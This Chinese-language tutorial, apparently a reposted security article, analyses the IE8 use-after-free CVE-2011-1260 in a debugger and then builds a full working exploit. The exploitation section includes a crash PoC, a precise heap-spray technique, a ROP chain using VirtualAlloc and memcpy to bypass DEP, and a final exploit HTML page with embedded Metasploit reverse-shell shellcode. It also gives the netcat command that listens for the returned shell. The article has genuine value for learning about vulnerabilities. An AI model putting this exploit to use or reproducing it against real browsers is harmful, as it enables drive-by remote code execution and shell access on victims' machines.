針對網(wǎng)頁木馬(CVE-2011-1260)的分析與實踐
本文假設(shè)你對漏洞挖掘,漏洞分析,匯編這些不太了解,但是對C,C++有一定了解。首先我們找一個具體的公開的例子——CVE-2011-1260,釋放后重用漏洞。首先我們上網(wǎng)找一下這個漏洞的POC,得到如下(運行環(huán)境XP SP3,IE8,開啟DEP(稍后解釋什么是DEP)):
- <html>
- <body>
- <script language=;javascript;>
- document.body.innerHTML+="<object hspace=;1000; width=;1000;>TAG_1</object>";
- document.body.innerHTML+="<a id=;tag_3; style=;bottom:5000px;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>";
- document.body.innerHTML += "AAAAAAA";
- document.body.innerHTML+="<strong style=;font-size:1000pc;margin:auto -25000px auto auto;; dir=;ltr;>TAG_11</strong>";
- </script>
- </body>
- </html>
0×1 漏洞分析
我們雙擊打開,發(fā)現(xiàn)IE崩潰了,到底是什么原因呢?
我們用windbg附加進程(調(diào)試IE最好還是用微軟的調(diào)試器,畢竟微軟主場):附加后,按g,回車,如果限制了activeX控件運行,就按允許,然后windbg在崩潰的時候停止了:
從eax+70的地址取出數(shù)據(jù),顯然這個地址不合法,所以導(dǎo)致錯誤。我們按knL回車,從棧查看函數(shù)的調(diào)用情況:
不清楚棧的看這里,清楚的跳過:函數(shù)調(diào)用有很多種,這里指stdcall,在每一次調(diào)用之前,都會將參數(shù)壓棧,從右到左,比如Void A(int a,int b),匯編就類似push,push,call,Call指令會將call指令的下一條指令的地址壓棧,所以最后??雌饋硎沁@樣的:(注意,壓棧是從高往低壓)
對應(yīng)源代碼:
所以我們從棧中可以看出崩毀之前調(diào)用過什么函數(shù),以及現(xiàn)在在什么函數(shù)里面,函數(shù)返回地址等等很多信息。
這里我們可以看到是在CElement::Doc函數(shù)里面崩毀,看看附近的匯編指令:
取ecx地址的內(nèi)容返回給eax,但是eax是0,導(dǎo)致后來的內(nèi)存讀取錯誤,顯然ecx出了問題。一般情況下,在thiscall中,第一個參數(shù)是this指針(用ecx傳遞),而對象+0x0h的地方儲存的是虛函數(shù)表的地址,所以可得這里是取虛函數(shù)表偏移0×70的地方的虛函數(shù)指針,再調(diào)用這個虛函數(shù)。
顯然這里的ecx就是CElement對象,這個對象是IE里面很多元素的父類,如(CObjectElement,對應(yīng)<object>標簽,CImgElement,對應(yīng)<img>標簽等等),而我們從POC中可以看出我們生成了一個<object>標簽,所以我們可以推斷這個是CObjectElement對象,那么這個對象從哪里來的呢?再看進入這個函數(shù)之前的匯編代碼:
取ebx地址的內(nèi)容給ecx,那么ebx哪里來?我們用ida反匯編這個函數(shù)看看(在mshtml.dll)
Ebx就是this指針,即ebx指向的地方就是CTreeNode,然后CTreeNode對象+0x0h的地方傳給ecx(即偏移0x0h保存了對應(yīng)的CElement指針),再傳入CElement::Doc。那么CTreeNode和CElement有什么關(guān)系呢?
我們重新運行,然后定如下兩個斷點:
- bu mshtml!CObjectElement::CreateElement+0x18 ".printf \"[%08x]\\n\",eax;g"
在mshtml!CObjectElement::CreateElement+0×18出斷下,并且打印eax的值,然后繼續(xù)運行。從文字可以看出這個是構(gòu)造CObjectElement的函數(shù),里面會調(diào)用CObjectElement的構(gòu)造函數(shù),eax一般是函數(shù)返回的值,即這個對象的指針。
函數(shù)中分配了一個0xDC的堆,顯然這是這個對象的大小。
- bu mshtml!CTreeNode::CTreeNode+0x8c ".printf \"allocated CTreeNode at %08x, ref to CElement %08x of tbale %08x\\n\", eax, poi(eax), poi(poi(eax));dds poi(eax) L 1;g"
這個斷點是在CTreeNode+0x8c地方斷下,打印對象指針,對應(yīng)的CElement指針(CTreeNode+0×0處保存對應(yīng)CElement對象),以及對應(yīng)的CElement對象的虛函數(shù)表地址。
定好斷點,GO!
從圖可以看出,最后創(chuàng)建了一個CObjectElement對象在00201c30,然后立馬又創(chuàng)建了與之對應(yīng)的CTreeNode對象0338aa18,到了程序崩毀的地方,ebx(即CTreeNode對象)還是0338aa18,但是與之對應(yīng)的CObjectElement對象(ecx)卻改變了。
我們看00201c30的地方:
這里已經(jīng)不是CObjectElement的虛函數(shù)表,說明這個對象已經(jīng)被釋放,所以與之對應(yīng)的CTreeNode也在崩潰之前釋放了,所以這里CTreeNode+0×0的CObjectElement指針也是錯誤的,所以指向的地方是00000000,然后讀取虛函數(shù)表出錯。我們定下斷點:
- bu mshtml!CTreeNode::Release+0x19 ".printf \"freeing CTreeNode at %08x, CElement at %08x, of table %08x\\n\", edx, poi(edx), poi(poi(edx)); g"
這里可以看出,在IE崩潰前,CTreeNode已經(jīng)釋放了,然后崩潰時又引用了這個對象對應(yīng)的CElement對象,然后call虛函數(shù),導(dǎo)致程序出錯。為什么會釋放呢?因為<object>標簽沒指明clsid值,所以IE會釋放這個標簽,那么接下來我們可以干什么呢?#p#
0×2 漏洞利用
我們既然這個CTreeNode已經(jīng)釋放了,那么+0×0對應(yīng)的CElement對象指針所指向的地方我們有無辦法控制呢?我們發(fā)現(xiàn)最后崩潰時候ecx指向的地方很接近之前CObjectElement分配到的地方,而且這個地方已經(jīng)釋放了,我們知道,當一個對象的內(nèi)存空間釋放后,如果我們大量申請內(nèi)存,我們遲早會用到這個之前釋放的內(nèi)存空間,因為本來內(nèi)存就那么多,要循環(huán)利用嘛。如果我們大量申請和CObjectElement相同大小的堆塊,我們會不會把ecx指向的地方覆蓋呢?我們試試:
果然,ecx指向的地方已經(jīng)被0x0c0c0c0c覆蓋,根據(jù)匯編代碼,之后會call [0x0c0c0c0c+0x70]
然后我們能把0x0c0c0c0c+0×70寫上某個地址,然后eip就會跳到這個地址執(zhí)行我們指定的代碼,進而pwn IE 8。
那我們有什么辦法在0x0c0c0c0c這里寫上我們要寫的數(shù)據(jù)呢?也是老方法,通過大量申請堆塊,我們遲早會把0x0c0c0c0c這里覆蓋成我們的內(nèi)容。
這是如果沒有DEP的話,我們直接用大量的nops+shellcode覆蓋內(nèi)存,然后精確計算在0x0c0c0c0c+0×70的地方填上我們shellcode的地址,我們就能跳去shellcode運行啦。但是這里有DEP。DEP就是如果這塊內(nèi)存沒有執(zhí)行權(quán)限的話,即使EIP跳到這里,它也不能執(zhí)行代碼。而我們通過大量申請堆塊而放置shellcode的地方,系統(tǒng)是不允許在這里運行指令的。這時候,我們可以用ROP繞過DEP。ROP就是在堆棧中壓入若干個小程序的地址,不斷控制EIP運行到這些小程序里,達到某種目的。因為不直接在不可運行的內(nèi)存中運行代碼,所以可以繞過DEP。等下我會具體舉例子。
要繞過DEP,我們可以通過VirtualAlloc+memcpy的方法,前者可以分配一個內(nèi)存屬性為可讀可寫可執(zhí)行的內(nèi)存區(qū)域,然后用memcpy把我們的shellcode復(fù)制過去。然后EIP跳到這個區(qū)域運行shellcode。(shellcode就是我們想要達到某種目的的代碼,比如惡作劇可以是彈出一個對話框,把這些代碼變成匯編的機器碼,然后復(fù)制入內(nèi)存里面,控制EIP跳至這里執(zhí)行。)
首先我們要在0x0c0c0c0c的地方偽造一個棧,
通過MSDN查看我們要用的VirtualAlloc與memcpy函數(shù)的使用方法,最終我們決定利用兩行代碼繞過DEP(XP3下沒有開啟ASLR):
VirtualAlloc(分配的內(nèi)存地址,內(nèi)存大小,內(nèi)存種類,內(nèi)存屬性)
- VirtuallAlloc(0x7f002000,0x00004000,0x00003000,0x00000040)
- Memcpy(0x7f003000,0x0c0c0c80,0x00001000)
然后我們構(gòu)造棧結(jié)構(gòu)如下:
然后我們要想辦法把esp(指向棧頂)指向0x0c0c0c0c,由于我們已經(jīng)控制EIP(0x0c0c0c0c+0×70),所以如果我們在這里寫入0x76a712ff,該處的指令為xchg eax,esp//ret。然后我們EIP指向0x76a712ff,交換eax和esp(eax這時指向0x0c0c0c0c),然后ret(ret指令就是將EIP變成[ESP],然后ESP+4),這時EIP會變成0x7C809AE1。前面我們已經(jīng)說過,剛進入函數(shù)的時候,[ESP]是函數(shù)返回地址,即到最后ret會將EIP變成這個地址,然后下面的是參數(shù),從低到高(從上到下)分別對應(yīng)C語言中的從左到右,即0x7f002000,0×00004000,0×00003000,0×00000040。然后我們看VirtualAlloc返回的時候指令
Retn 10的意思是EIP變成[ESP],然后ESP+14,所以運行完retn 10后,我們會跳入0x7c921db3(memcpy),然后[ESP]是函數(shù)返回地址(0x7f001000),然后下面三個是參數(shù),運行完這個函數(shù)后,我們會跳入返回地址0x7f001000運行shellcode。(函數(shù)調(diào)用的具體過程大家可以參考《C++反匯編與逆向分析》的第六章)
然后0x0c0c0c34-0x0c0c0c7c我們放入隨意的數(shù)據(jù),然后0x0c0c0c7c放入0x76a712ff,然后0x0c0c0c80我們放入我們的shellcode。
按理來說,只要我們把上面的數(shù)據(jù)我們組成一個塊(block1),然后申請大量內(nèi)存填入這些塊,最終覆蓋0x0c0c0c0c就可以了。但是又有問題來了,堆塊申請的起始地址是會變的!!!例如,我們堆塊開始可能的地方可能是0x0c0c0000也可能是0x0c0c0010,我們知道,如果這個地址變了,我們最終就無法令我們這個塊一開始的地方準確地對準0x0c0c0c0c,然后我們0x0c0c0c0c+0×70的地方的數(shù)據(jù)就會將EIP指向一個錯誤的地方,然后bomb,IE又崩潰。
如果沒有DEP,我們可以覆蓋大量的NOP(1mb左右)+shellcode(幾百字節(jié)),然后只要0x0c0c0c0c的地方是NOP就可以了(很大幾率hit中nop),但是這里不行,我們要準確的堆噴射。在這里,我陷入了深深的沉思,我確實在這里想了很久的辦法,網(wǎng)上找了資料,大部分說的都是nop+shellcode,沒有準確的堆噴射,即使有,也看得不明白。后來我突然發(fā)現(xiàn),我們塊的起始地址有個共同的特點:
0c0a8040是堆塊的起始地址,前8字節(jié)是塊首,真正我們用的是0c0a8048開始,我們在JS里面噴射用過的是string類型,前4字節(jié)是保存string的大小,后2字節(jié)是0000表示字符串解釋,所以我們這里發(fā)現(xiàn),我們字符串起始的位置都是04c結(jié)尾有木有?!! 如果我們創(chuàng)建一個塊大小是0×1000(block2),然后前面0xc0c-0×048=0xbc4字節(jié)放入nop,然后再放入我們上面的block1,然后后面全部放入nop。然后我們的內(nèi)存全部塞滿這樣的塊,我們是不是就保證了全部0xXXXXXc0c地址都對準了我們block1的起始位置?(包括0x0c0c0c0c)(這是我自己想到的方法,不知道大家有無別的好方法?)
接下來,我們就要寫shellcode,這里我們用kail或者BT5的msfpayload生成一個反彈命令行至本地1024端口的JS版shellcode,然后加入我們的exp中。最終我們的exp如下(heapLib.js是一個網(wǎng)上大家用來堆噴射的庫,某個牛人寫的):
- <html>
- <body>
- <script src="heapLib.js"></script>
- <script language=;javascript;>
- var heap_obj0 = new heapLib.ie(0x20000);
- var heapspray=;\u9ae1\u7c80\u1db3\u7c92\u2000\u7f00\u4000\u0000\u3000\u0000\u0040\u0000\u3000\u7f00\u3000\u7f00\u0c80\u0c0c\u2fff\u0000;;
- while(heapspray.length<0x38)
- heapsprayheapspray=heapspray+;\u9090\u9090;;
- heapspray+=;\u12ff\u76a7;;
- heapspray+=unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%u007f%u0100%u0268%u0400%u8900%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff");
- var nops=unescape(;%u9090%u9090;);
- while(nops.length<0x800)
- nops+=nops;
- block=nops.substring(0,0xBC0/2)+heapspray+nops.substring(0,0x800-0xBC0/2-heapspray.length);
- while(block.length<0x40000)
- block+=block;
- final=block.substring(0,(0x20000-6)/2);
- for(var i=0;i<0x1000;i++){
- heap_obj0.alloc(final,"test1");
- }
- var obj_overwrite=unescape(;%u0c0c%u0c0c;);
- var obj_size=0xe0;
- while(obj_overwrite.length < 70){
- obj_overwrite+=obj_overwrite;
- }
- obj_overwriteobj_overwrite=obj_overwrite.slice(0,(obj_size-6)/2);
- for(var i=0;i<5;i++){
- document.body.innerHTML+="<object align=;right; hspace=;1000; width=;1000;>TAG_1</object>";
- }
- var heap_obj = new heapLib.ie(0x10000);
- for(var j=0;j<5000;j++){
- heap_obj.alloc(obj_overwrite,"test");
- }
- document.body.innerHTML += "<a id=;tag_3; style=;bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>";
- document.body.innerHTML += "AAAAAAA";
- document.body.innerHTML += "<strong style=;font-size:1000pc;margin:auto -1000cm auto auto;; dir=;ltr;>TAG_11</strong>";
- </script>
- </body>
- </html>
Nc.exe –l –p 1024就是監(jiān)聽1024端口,等待反彈shell。
以上,就是一個經(jīng)典的利用IE UAF漏洞進行遠程代碼執(zhí)行的完整過程,有了遠程代碼執(zhí)行,木馬還會遠嗎?由于本人菜鳥,難免會有錯誤的地方,希望大家一起能共同探討學習。
所以大家知道上XX網(wǎng)的危害了嗎?不要以為沒下載病毒沒事哦,惡意JS都能有exe的功能。
本文出自:http://www.freebuf.com/vuls/66865.html